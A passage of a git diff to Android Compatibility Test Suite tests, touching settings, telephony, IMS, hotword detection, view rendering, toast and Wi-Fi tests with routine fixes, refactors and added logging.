cameraDevice?.close() + thread.interrupt() + } +}
\ No newline at end of file diff --git a/tests/tests/settings/src/android/settings/cts/SettingsHandlerTest.java b/tests/tests/settings/src/android/settings/cts/SettingsHandlerTest.java deleted file mode 100644 index bc43731d571..00000000000 --- a/tests/tests/settings/src/android/settings/cts/SettingsHandlerTest.java +++ /dev/null @@ -1,105 +0,0 @@ -/* - * Copyright (C) 2021 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.settings.cts; - -import static com.google.common.truth.Truth.assertThat; - -import android.content.Intent; -import android.content.pm.PackageManager; -import android.content.pm.ResolveInfo; -import android.net.Uri; -import android.os.storage.StorageManager; -import android.provider.DocumentsContract; - -import androidx.test.platform.app.InstrumentationRegistry; -import androidx.test.runner.AndroidJUnit4; - -import org.junit.Test; -import org.junit.runner.RunWith; - -/** Test to make there is only default handler for settings intent. */ -@RunWith(AndroidJUnit4.class) -public class SettingsHandlerTest { - - private static final String MEDIA_PROVIDER_AUTHORITY = "com.android.providers.media.documents"; - private static final String RESOLVER_ACTIVITY_PACKAGE_NAME = "android"; - private static final String RESOLVER_ACTIVITY_NAME = - "com.android.internal.app.ResolverActivity"; - - PackageManager mPackageManager = - InstrumentationRegistry.getInstrumentation().getContext().getPackageManager(); - - @Test - public void oneDefaultHandlerForVideoRoot() throws Exception { - Intent intent = new Intent(Intent.ACTION_VIEW); - Uri uri = DocumentsContract.buildRootUri(MEDIA_PROVIDER_AUTHORITY, "videos_root"); - intent.setDataAndType(uri, DocumentsContract.Root.MIME_TYPE_ITEM); - - assertThat(hasAtMostOneDefaultHandlerForIntent(intent)).isTrue(); - } - - @Test - public void oneDefaultHandlerForImageRoot() throws Exception { - Intent intent = new Intent(Intent.ACTION_VIEW); - Uri uri = DocumentsContract.buildRootUri(MEDIA_PROVIDER_AUTHORITY, "images_root"); - intent.setDataAndType(uri, DocumentsContract.Root.MIME_TYPE_ITEM); - - assertThat(hasAtMostOneDefaultHandlerForIntent(intent)).isTrue(); - } - - @Test - public void oneDefaultHandlerForAudioRoot() throws Exception { - Intent intent = new Intent(Intent.ACTION_VIEW); - Uri uri = DocumentsContract.buildRootUri(MEDIA_PROVIDER_AUTHORITY, "audio_root"); - intent.setDataAndType(uri, DocumentsContract.Root.MIME_TYPE_ITEM); - - assertThat(hasAtMostOneDefaultHandlerForIntent(intent)).isTrue(); - } - - @Test - public void oneDefaultHandlerForDocumentRoot() throws Exception { - Intent intent = new Intent(Intent.ACTION_VIEW); - Uri uri = DocumentsContract.buildRootUri(MEDIA_PROVIDER_AUTHORITY, "documents_root"); - intent.setDataAndType(uri, DocumentsContract.Root.MIME_TYPE_ITEM); - - assertThat(hasAtMostOneDefaultHandlerForIntent(intent)).isTrue(); - } - - @Test - public void oneDefaultHandlerForManageStorage() throws Exception { - Intent intent = new Intent(StorageManager.ACTION_MANAGE_STORAGE); - - assertThat(hasAtMostOneDefaultHandlerForIntent(intent)).isTrue(); - } - - private boolean hasAtMostOneDefaultHandlerForIntent(Intent intent) { - ResolveInfo resolveInfo = mPackageManager.resolveActivity(intent, /* flags= */ 0); - - if (resolveInfo == null) { - // Return true if no handlers can handle the intent, meaning that the specific platform - // does need to handle the intent. - return true; - } - - String packageName = resolveInfo.activityInfo.packageName; - String activityName = resolveInfo.activityInfo.name; - // If there are more than one handlers with no preferences set, the intent will resolve - // to com.android.internal.app.ResolverActivity. - return !packageName.equals(RESOLVER_ACTIVITY_PACKAGE_NAME) || !activityName.equals( - RESOLVER_ACTIVITY_NAME); - } -} diff --git a/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt b/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt index 82be3e2f6df..7e0bdcce540 100644 --- a/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt +++ b/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt @@ -36,6 +36,7 @@ import androidx.test.ext.junit.runners.AndroidJUnit4 import com.android.compatibility.common.util.SystemUtil import com.android.compatibility.common.util.ThrowingSupplier import org.junit.Assume +import org.junit.Ignore import org.junit.Test import org.junit.runner.RunWith import kotlin.test.assertTrue @@ -73,6 +74,7 @@ class BasicPipTests : TvTestBase() { /** Ensure an app can be launched into pip mode from the screensaver state. */ @Test + @Ignore("b/163116693") fun openPip_afterScreenSaver() { runWithDreamManager { dreamManager -> dreamManager.dream() diff --git a/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java b/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java index b8eb8bfcd8a..53b6a502a67 100644 --- a/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java +++ b/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java @@ -21,49 +21,42 @@ import static org.junit.Assert.assertThat; import android.app.Activity; import android.app.PendingIntent; -import android.content.BroadcastReceiver; import android.content.ComponentName; -import android.content.Context; import android.content.Intent; -import android.content.IntentFilter; import android.os.Bundle; import android.os.RemoteCallback; import android.telephony.SmsManager; import android.util.Log; -import java.util.ArrayList; -import java.util.List; -import java.util.concurrent.CountDownLatch; -import java.util.concurrent.TimeUnit; - public class MainActivity extends Activity { private static final String SMS_RETRIEVER_ACTION = "CTS_SMS_RETRIEVER_ACTION"; + private static String sToken; + @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); - Intent intent = new Intent("android.telephony.cts.action.SMS_RETRIEVED") - .setComponent(new ComponentName( - "android.telephony.cts.smsretriever", - "android.telephony.cts.smsretriever.SmsRetrieverBroadcastReceiver")); - PendingIntent pIntent = PendingIntent.getBroadcast( - getApplicationContext(), 0, intent, PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED); - String token = null; - try { - token = SmsManager.getDefault().createAppSpecificSmsTokenWithPackageInfo( - "testprefix1,testprefix2", pIntent); - } catch (Exception e) { - Log.w("MainActivity", "received Exception e:" + e); - } - if (getIntent().getAction() == null) { + Intent intent = new Intent("android.telephony.cts.action.SMS_RETRIEVED") + .setComponent(new ComponentName( + getApplicationContext(), + SmsRetrieverBroadcastReceiver.class)); + PendingIntent pIntent = PendingIntent.getBroadcast(getApplicationContext(), 0, intent, + PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED); + try { + sToken = SmsManager.getDefault().createAppSpecificSmsTokenWithPackageInfo( + "testprefix1,testprefix2", pIntent); + } catch (Exception e) { + Log.w("MainActivity", "received Exception e:" + e); + } + Bundle result = new Bundle(); result.putString("class", getClass().getName()); - result.putString("token", token); + result.putString("token", sToken); sendResult(result); } else { // Launched by broadcast receiver assertThat(getIntent().getStringExtra("message"), - equalTo("testprefix1This is a test message" + token)); + equalTo("testprefix1This is a test message" + sToken)); Intent bIntent = new Intent(SMS_RETRIEVER_ACTION); sendBroadcast(bIntent); finish(); @@ -73,6 +66,4 @@ public class MainActivity extends Activity { public void sendResult(Bundle result) { getIntent().<RemoteCallback>getParcelableExtra("callback").sendResult(result); } - - } diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java index 3d03392f8ba..5c9d8b9bfa2 100644 --- a/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java +++ b/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java @@ -996,6 +996,8 @@ public class PhoneStateListenerTest { InstrumentationRegistry.getInstrumentation(), TEST_EMERGENCY_NUMBER); } + // Disable suppressing blocking. + TelephonyUtils.endBlockSuppression(InstrumentationRegistry.getInstrumentation()); } @Test diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java index 85344408642..97048133cd2 100644 --- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java +++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java @@ -1041,6 +1041,9 @@ public class TelephonyCallbackTest { // Test unregister unRegisterTelephonyCallback(mOnOutgoingSmsEmergencyNumberChanged == null, mOutgoingEmergencySmsCallback); + + // Disable suppressing blocking. + TelephonyUtils.endBlockSuppression(InstrumentationRegistry.getInstrumentation()); } private ActiveDataSubscriptionIdListener mActiveDataSubscriptionIdCallback; diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java index 11e5979402e..10c7a83d347 100644 --- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java +++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java @@ -45,6 +45,7 @@ import android.content.Intent; import android.content.IntentFilter; import android.content.pm.PackageInfo; import android.content.pm.PackageManager; +import android.content.res.Resources; import android.net.ConnectivityManager; import android.net.wifi.WifiManager; import android.os.AsyncTask; @@ -1451,9 +1452,11 @@ public class TelephonyManagerTest { return; } boolean is5gStandalone = getContext().getResources().getBoolean( - com.android.internal.R.bool.config_telephony5gStandalone); + Resources.getSystem().getIdentifier("config_telephony5gStandalone", "bool", + "android")); boolean is5gNonStandalone = getContext().getResources().getBoolean( - com.android.internal.R.bool.config_telephony5gNonStandalone); + Resources.getSystem().getIdentifier("config_telephony5gNonStandalone", "bool", + "android")); int[] deviceNrCapabilities = new int[0]; if (is5gStandalone || is5gNonStandalone) { List<Integer> list = new ArrayList<>(); @@ -3558,15 +3561,15 @@ public class TelephonyManagerTest { } } - private void disableNrDualConnectivity() { + private int disableNrDualConnectivity() { if (!ShellIdentityUtils.invokeMethodWithShellPermissions( mTelephonyManager, (tm) -> tm.isRadioInterfaceCapabilitySupported( TelephonyManager .CAPABILITY_NR_DUAL_CONNECTIVITY_CONFIGURATION_AVAILABLE))) { - return; + return TelephonyManager.ENABLE_NR_DUAL_CONNECTIVITY_NOT_SUPPORTED; } - ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn( + int result = ShellIdentityUtils.invokeMethodWithShellPermissions( mTelephonyManager, (tm) -> tm.setNrDualConnectivityState( TelephonyManager.NR_DUAL_CONNECTIVITY_DISABLE)); @@ -3575,9 +3578,12 @@ public class TelephonyManagerTest { ShellIdentityUtils.invokeMethodWithShellPermissions( mTelephonyManager, (tm) -> tm.isNrDualConnectivityEnabled()); // Only verify the result for supported devices on IRadio 1.6+ - if (mRadioVersion >= RADIO_HAL_VERSION_1_6) { + if (mRadioVersion >= RADIO_HAL_VERSION_1_6 + && result != TelephonyManager.ENABLE_NR_DUAL_CONNECTIVITY_NOT_SUPPORTED) { assertFalse(isNrDualConnectivityEnabled); } + + return result; } @Test @@ -3596,14 +3602,23 @@ public class TelephonyManagerTest { boolean isInitiallyEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions( mTelephonyManager, (tm) -> tm.isNrDualConnectivityEnabled()); boolean isNrDualConnectivityEnabled; + int result; if (isInitiallyEnabled) { - disableNrDualConnectivity(); + result = disableNrDualConnectivity(); + if (result == TelephonyManager.ENABLE_NR_DUAL_CONNECTIVITY_NOT_SUPPORTED) { + return; + } } - ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn( + result = ShellIdentityUtils.invokeMethodWithShellPermissions( mTelephonyManager, (tm) -> tm.setNrDualConnectivityState( TelephonyManager.NR_DUAL_CONNECTIVITY_ENABLE)); + + if (result == TelephonyManager.ENABLE_NR_DUAL_CONNECTIVITY_NOT_SUPPORTED) { + return; + } + isNrDualConnectivityEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions( mTelephonyManager, (tm) -> tm.isNrDualConnectivityEnabled()); // Only verify the result for supported devices on IRadio 1.6+ diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java index e313886cfb2..de179ea8ab2 100644 --- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java +++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java @@ -393,6 +393,9 @@ public class ImsServiceTest { TestImsService.LATCH_CREATE_MMTEL); assertNotNull("ImsService created, but ImsService#createMmTelFeature was not called!", sServiceConnector.getCarrierService().getMmTelFeature()); + // Wait for the framework to set the capabilities on the ImsService + sServiceConnector.getCarrierService().waitForLatchCountdown( + TestImsService.LATCH_MMTEL_CAP_SET); } @Test @@ -446,6 +449,10 @@ public class ImsServiceTest { // createMmTelFeature should be called. assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown( TestImsService.LATCH_CREATE_MMTEL)); + + // Wait for the framework to set the capabilities on the ImsService + sServiceConnector.getCarrierService().waitForLatchCountdown( + TestImsService.LATCH_MMTEL_CAP_SET); } @Test @@ -461,6 +468,9 @@ public class ImsServiceTest { // Framework did not call it. assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown( TestImsService.LATCH_CREATE_MMTEL)); + // Wait for the framework to set the capabilities on the ImsService + sServiceConnector.getCarrierService().waitForLatchCountdown( + TestImsService.LATCH_MMTEL_CAP_SET); } @Test @@ -477,6 +487,9 @@ public class ImsServiceTest { // Framework did not call it. assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown( TestImsService.LATCH_CREATE_MMTEL)); + // Wait for the framework to set the capabilities on the ImsService + sServiceConnector.getCarrierService().waitForLatchCountdown( + TestImsService.LATCH_MMTEL_CAP_SET); } @Test diff --git a/tests/tests/uirendering/res/layout/simple_shadow_layout.xml b/tests/tests/uirendering/res/layout/simple_shadow_layout.xml index 042c2a9e1d9..a3f97c80dd2 100644 --- a/tests/tests/uirendering/res/layout/simple_shadow_layout.xml +++ b/tests/tests/uirendering/res/layout/simple_shadow_layout.xml @@ -22,6 +22,6 @@ android:layout_height="40px" android:translationX="25px" android:translationY="25px" - android:elevation="10dp" + android:elevation="20px" android:background="#fff" /> -</FrameLayout>
\ No newline at end of file +</FrameLayout> diff --git a/tests/tests/view/src/android/view/cts/ASurfaceControlBackPressureTest.java b/tests/tests/view/src/android/view/cts/ASurfaceControlBackPressureTest.java index f9eaa008e3f..fd77a14ae67 100644 --- a/tests/tests/view/src/android/view/cts/ASurfaceControlBackPressureTest.java +++ b/tests/tests/view/src/android/view/cts/ASurfaceControlBackPressureTest.java @@ -77,8 +77,8 @@ public class ASurfaceControlBackPressureTest { } } - private static final int DEFAULT_LAYOUT_WIDTH = 100; - private static final int DEFAULT_LAYOUT_HEIGHT = 100; + private static final int DEFAULT_LAYOUT_WIDTH = 50; + private static final int DEFAULT_LAYOUT_HEIGHT = 50; @Rule public ActivityTestRule<CapturedActivity> mActivityRule = @@ -238,7 +238,7 @@ public class ASurfaceControlBackPressureTest { MultiFramePixelChecker PixelChecker = new MultiFramePixelChecker(colors) { @Override public boolean checkPixels(int pixelCount, int width, int height) { - return pixelCount > 9000 && pixelCount < 11000; + return pixelCount > 2000 && pixelCount < 3000; } }; @@ -270,7 +270,7 @@ public class ASurfaceControlBackPressureTest { MultiFramePixelChecker PixelChecker = new MultiFramePixelChecker(colors) { @Override public boolean checkPixels(int pixelCount, int width, int height) { - return pixelCount > 9000 && pixelCount < 11000; + return pixelCount > 2000 && pixelCount < 3000; } }; diff --git a/tests/tests/view/src/android/view/cts/PixelCopyTest.java b/tests/tests/view/src/android/view/cts/PixelCopyTest.java index 502170d621f..8a1f853980d 100644 --- a/tests/tests/view/src/android/view/cts/PixelCopyTest.java +++ b/tests/tests/view/src/android/view/cts/PixelCopyTest.java @@ -73,6 +73,7 @@ import java.nio.ByteBuffer; import java.nio.ByteOrder; import java.util.concurrent.CountDownLatch; import java.util.concurrent.TimeUnit; +import java.util.function.Function; @MediumTest @RunWith(AndroidJUnit4.class) @@ -894,31 +895,29 @@ public class PixelCopyTest { private void assertBitmapQuadColor(Bitmap bitmap, int topLeft, int topRight, int bottomLeft, int bottomRight, int threshold) { - try { - // Just quickly sample 4 pixels in the various regions. - assertTrue("Top left", pixelsAreSame(topLeft, - getPixelFloatPos(bitmap, .25f, .25f), threshold)); - assertTrue("Top right", pixelsAreSame(topRight, - getPixelFloatPos(bitmap, .75f, .25f), threshold)); - assertTrue("Bottom left", pixelsAreSame(bottomLeft, - getPixelFloatPos(bitmap, .25f, .75f), threshold)); - assertTrue("Bottom right", pixelsAreSame(bottomRight, - getPixelFloatPos(bitmap, .75f, .75f), threshold)); - - float below = .45f; - float above = .55f; - assertTrue("Top left II", pixelsAreSame(topLeft, - getPixelFloatPos(bitmap, below, below), threshold)); - assertTrue("Top right II", pixelsAreSame(topRight, - getPixelFloatPos(bitmap, above, below), threshold)); - assertTrue("Bottom left II", pixelsAreSame(bottomLeft, - getPixelFloatPos(bitmap, below, above), threshold)); - assertTrue("Bottom right II", pixelsAreSame(bottomRight, - getPixelFloatPos(bitmap, above, above), threshold)); - } catch (AssertionError err) { - BitmapDumper.dumpBitmap(bitmap, mTestName.getMethodName(), "PixelCopyTest"); - throw err; - } + Function<Float, Integer> getX = (Float x) -> (int) (bitmap.getWidth() * x); + Function<Float, Integer> getY = (Float y) -> (int) (bitmap.getHeight() * y); + + // Just quickly sample 4 pixels in the various regions. + assertBitmapColor("Top left", bitmap, topLeft, + getX.apply(.25f), getY.apply(.25f), threshold); + assertBitmapColor("Top right", bitmap, topRight, + getX.apply(.75f), getY.apply(.25f), threshold); + assertBitmapColor("Bottom left", bitmap, bottomLeft, + getX.apply(.25f), getY.apply(.75f), threshold); + assertBitmapColor("Bottom right", bitmap, bottomRight, + getX.apply(.75f), getY.apply(.75f), threshold); + + float below = .4f; + float above = .6f; + assertBitmapColor("Top left II", bitmap, topLeft, + getX.apply(below), getY.apply(below), threshold); + assertBitmapColor("Top right II", bitmap, topRight, + getX.apply(above), getY.apply(below), threshold); + assertBitmapColor("Bottom left II", bitmap, bottomLeft, + getX.apply(below), getY.apply(above), threshold); + assertBitmapColor("Bottom right II", bitmap, bottomRight, + getX.apply(above), getY.apply(above), threshold); } private void assertBitmapEdgeColor(Bitmap bitmap, int edgeColor) { @@ -941,7 +940,7 @@ public class PixelCopyTest { bitmap.getWidth() - 3, bitmap.getHeight() / 2); } - private boolean pixelsAreSame(int ideal, int given, int threshold) { + private static boolean pixelsAreSame(int ideal, int given, int threshold) { int error = Math.abs(Color.red(ideal) - Color.red(given)); error += Math.abs(Color.green(ideal) - Color.green(given)); error += Math.abs(Color.blue(ideal) - Color.blue(given)); @@ -954,8 +953,13 @@ public class PixelCopyTest { } private void assertBitmapColor(String debug, Bitmap bitmap, int color, int x, int y) { + assertBitmapColor(debug, bitmap, color, x, y, 10); + } + + private void assertBitmapColor(String debug, Bitmap bitmap, int color, int x, int y, + int threshold) { int pixel = bitmap.getPixel(x, y); - if (!pixelsAreSame(color, pixel, 10)) { + if (!pixelsAreSame(color, pixel, threshold)) { fail(bitmap, debug + "; expected=" + Integer.toHexString(color) + ", actual=" + Integer.toHexString(pixel)); } diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java index 0362b1ae02d..44354224ce1 100644 --- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java +++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java @@ -268,7 +268,7 @@ public class CapturedActivity extends Activity { Rect boundsToCheck = animationTestCase.getBoundsToCheck(findViewById(android.R.id.content)); - if (boundsToCheck.width() < 90 || boundsToCheck.height() < 90) { + if (boundsToCheck.width() < 40 || boundsToCheck.height() < 40) { fail("capture bounds too small to be a fullscreen activity: " + boundsToCheck); } diff --git a/tests/tests/voiceinteraction/service/AndroidManifest.xml b/tests/tests/voiceinteraction/service/AndroidManifest.xml index 087a8334ab5..7cb18b9bc6a 100644 --- a/tests/tests/voiceinteraction/service/AndroidManifest.xml +++ b/tests/tests/voiceinteraction/service/AndroidManifest.xml @@ -57,6 +57,7 @@ <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.DEFAULT" /> + <action android:name="android.intent.action.ASSIST"/> </intent-filter> </activity> <service android:name=".MainInteractionSessionService" diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java index d63dc3dcefb..759876cd409 100644 --- a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java +++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java @@ -88,6 +88,7 @@ public class MainHotwordDetectionService extends HotwordDetectionService { public void onCreate() { super.onCreate(); mHandler = Handler.createAsync(Looper.getMainLooper()); + Log.d(TAG, "onCreate"); } @Override @@ -209,6 +210,7 @@ public class MainHotwordDetectionService extends HotwordDetectionService { @Override public void onStopDetection() { super.onStopDetection(); + Log.d(TAG, "onStopDetection"); synchronized (mLock) { mHandler.removeCallbacks(mDetectionJob); mDetectionJob = null; @@ -225,6 +227,18 @@ public class MainHotwordDetectionService extends HotwordDetectionService { super.onUpdateState(options, sharedMemory, callbackTimeoutMillis, statusCallback); Log.d(TAG, "onUpdateState"); + // Reset mDetectionJob and mStopDetectionCalled when service is initializing. + synchronized (mLock) { + if (statusCallback != null) { + if (mDetectionJob != null) { + Log.d(TAG, "onUpdateState mDetectionJob is not null"); + mHandler.removeCallbacks(mDetectionJob); + mDetectionJob = null; + } + mStopDetectionCalled = false; + } + } + if (options != null) { if (options.getInt(Utils.KEY_TEST_SCENARIO, -1) == Utils.HOTWORD_DETECTION_SERVICE_ON_UPDATE_STATE_CRASH) { @@ -316,6 +330,7 @@ public class MainHotwordDetectionService extends HotwordDetectionService { return true; } } + Log.d(TAG, "All data are zero"); return false; } finally { record.release(); diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java index dbc5a4f5ef2..d25632a3a24 100644 --- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java +++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java @@ -273,6 +273,13 @@ public final class HotwordDetectionServiceBasicTest testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_PROCESS_DIED_TEST, Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT, Utils.HOTWORD_DETECTION_SERVICE_GET_ERROR); + + // ActivityManager will schedule a timer to restart the HotwordDetectionService due to + // we crash the service in this test case. It may impact the other test cases when + // ActivityManager restarts the HotwordDetectionService again. Add the sleep time to wait + // ActivityManager to restart the HotwordDetectionService, so that the service can be + // destroyed after finishing this test case. + Thread.sleep(TIMEOUT_MS); } private void testHotwordDetection(int testType, String expectedIntent, int expectedResult) { diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionRoleTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionRoleTest.java index 192e97fa384..e0b22baaf7c 100644 --- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionRoleTest.java +++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionRoleTest.java @@ -33,6 +33,8 @@ import android.util.Log; import androidx.test.core.app.ApplicationProvider; import androidx.test.ext.junit.runners.AndroidJUnit4; +import com.android.compatibility.common.util.PollingCheck; + import org.junit.After; import org.junit.Before; import org.junit.BeforeClass; @@ -40,6 +42,7 @@ import org.junit.Test; import org.junit.runner.RunWith; import java.util.List; +import java.util.concurrent.Callable; import java.util.concurrent.CompletableFuture; import java.util.concurrent.TimeUnit; import java.util.function.Consumer; @@ -109,6 +112,13 @@ public class VoiceInteractionRoleTest { } assertThat(getAssistRoleHolders()).containsExactly(packageName); + Callable<Boolean> condition = hasRecognition + ? () -> !TextUtils.isEmpty(Settings.Secure.getString(sContext.getContentResolver(), + Settings.Secure.VOICE_INTERACTION_SERVICE)) + : () -> "".equals(Settings.Secure.getString(sContext.getContentResolver(), + Settings.Secure.VOICE_INTERACTION_SERVICE)); + PollingCheck.check("Make sure that Settings VOICE_INTERACTION_SERVICE " + + "becomes available.", 500, condition); final String curVoiceInteractionComponentName = Settings.Secure.getString( sContext.getContentResolver(), Settings.Secure.VOICE_INTERACTION_SERVICE); diff --git a/tests/tests/widget/app/src/android/widget/cts/app/TranslucentActivity.java b/tests/tests/widget/app/src/android/widget/cts/app/TranslucentActivity.java index d2a5f8264e2..293ff1dfe5e 100644 --- a/tests/tests/widget/app/src/android/widget/cts/app/TranslucentActivity.java +++ b/tests/tests/widget/app/src/android/widget/cts/app/TranslucentActivity.java @@ -18,10 +18,7 @@ package android.widget.cts.app; import android.app.AlertDialog; import android.app.Dialog; -import android.content.BroadcastReceiver; -import android.content.Context; import android.content.Intent; -import android.content.IntentFilter; import android.os.Bundle; import androidx.annotation.NonNull; @@ -33,8 +30,6 @@ import androidx.fragment.app.FragmentManager; public class TranslucentActivity extends AppCompatActivity { private static final String ACTION_TRANSLUCENT_ACTIVITY_RESUMED = "android.widget.cts.app.TRANSLUCENT_ACTIVITY_RESUMED"; - private static final String ACTION_TRANSLUCENT_ACTIVITY_FINISH = - "android.widget.cts.app.TRANSLUCENT_ACTIVITY_FINISH"; @Override protected void onCreate(Bundle savedInstanceState) { @@ -47,14 +42,6 @@ public class TranslucentActivity extends AppCompatActivity { } @Override - protected void onStart() { - super.onStart(); - IntentFilter filter = new IntentFilter(); - filter.addAction(ACTION_TRANSLUCENT_ACTIVITY_FINISH); - registerReceiver(mFinishActivityReceiver, filter); - } - - @Override protected void onResume() { super.onResume(); Intent intent = new Intent(ACTION_TRANSLUCENT_ACTIVITY_RESUMED); @@ -62,19 +49,6 @@ public class TranslucentActivity extends AppCompatActivity { sendBroadcast(intent); } - @Override - protected void onStop() { - super.onStop(); - unregisterReceiver(mFinishActivityReceiver); - } - - private final BroadcastReceiver mFinishActivityReceiver = new BroadcastReceiver() { - @Override - public void onReceive(Context context, Intent intent) { - finish(); - } - }; - public static class SampleFragment extends DialogFragment { @NonNull @Override diff --git a/tests/tests/widget/src/android/widget/cts/ToastTest.java b/tests/tests/widget/src/android/widget/cts/ToastTest.java index 64a5cf33ebb..01339eb35ae 100644 --- a/tests/tests/widget/src/android/widget/cts/ToastTest.java +++ b/tests/tests/widget/src/android/widget/cts/ToastTest.java @@ -95,8 +95,8 @@ public class ToastTest { private static final int MAX_PACKAGE_TOASTS_LIMIT = 5; private static final String ACTION_TRANSLUCENT_ACTIVITY_RESUMED = "android.widget.cts.app.TRANSLUCENT_ACTIVITY_RESUMED"; - private static final String ACTION_TRANSLUCENT_ACTIVITY_FINISH = - "android.widget.cts.app.TRANSLUCENT_ACTIVITY_FINISH"; + private static final ComponentName COMPONENT_CTS_ACTIVITY = + ComponentName.unflattenFromString("android.widget.cts/.CtsActivity"); private static final ComponentName COMPONENT_TRANSLUCENT_ACTIVITY = ComponentName.unflattenFromString("android.widget.cts.app/.TranslucentActivity"); private static final double TOAST_DURATION_ERROR_TOLERANCE_FRACTION = 0.25; @@ -873,7 +873,14 @@ public class ToastTest { mActivityRule.runOnUiThread(mToast::show); assertCustomToastNotShown(view); - mContext.sendBroadcast(new Intent(ACTION_TRANSLUCENT_ACTIVITY_FINISH)); + + // Start CtsActivity with CLEAR_TOP flag to finish the TranslucentActivity on top. + intent = new Intent(); + intent.setComponent(COMPONENT_CTS_ACTIVITY); + intent.setAction(Intent.ACTION_MAIN); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TOP + | Intent.FLAG_ACTIVITY_SINGLE_TOP); + mActivityRule.getActivity().startActivity(intent); } @UiThreadTest diff --git a/tests/tests/wifi/AndroidTest.xml b/tests/tests/wifi/AndroidTest.xml index 421a9f7528f..5da40eafc64 100644 --- a/tests/tests/wifi/AndroidTest.xml +++ b/tests/tests/wifi/AndroidTest.xml @@ -43,6 +43,5 @@ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController"> <option name="mainline-module-package-name" value="com.google.android.wifi" /> - <option name="mainline-module-package-name" value="com.google.android.tethering" /> </object> </configuration> diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java index d2442d0caee..81129ed68fe 100644 --- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java +++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java @@ -2660,9 +2660,10 @@ public class WifiManagerTest extends WifiJUnit3TestBase { waitForConnection(); WifiInfo wifiInfo = mWifiManager.getConnectionInfo(); + savedNetworks = mWifiManager.getConfiguredNetworks(); // find the current network's WifiConfiguration - currentConfig = mWifiManager.getConfiguredNetworks() + currentConfig = savedNetworks .stream() .filter(config -> config.networkId == wifiInfo.getNetworkId()) .findAny() @@ -2673,6 +2674,14 @@ public class WifiManagerTest extends WifiJUnit3TestBase { currentConfig.meteredOverride, 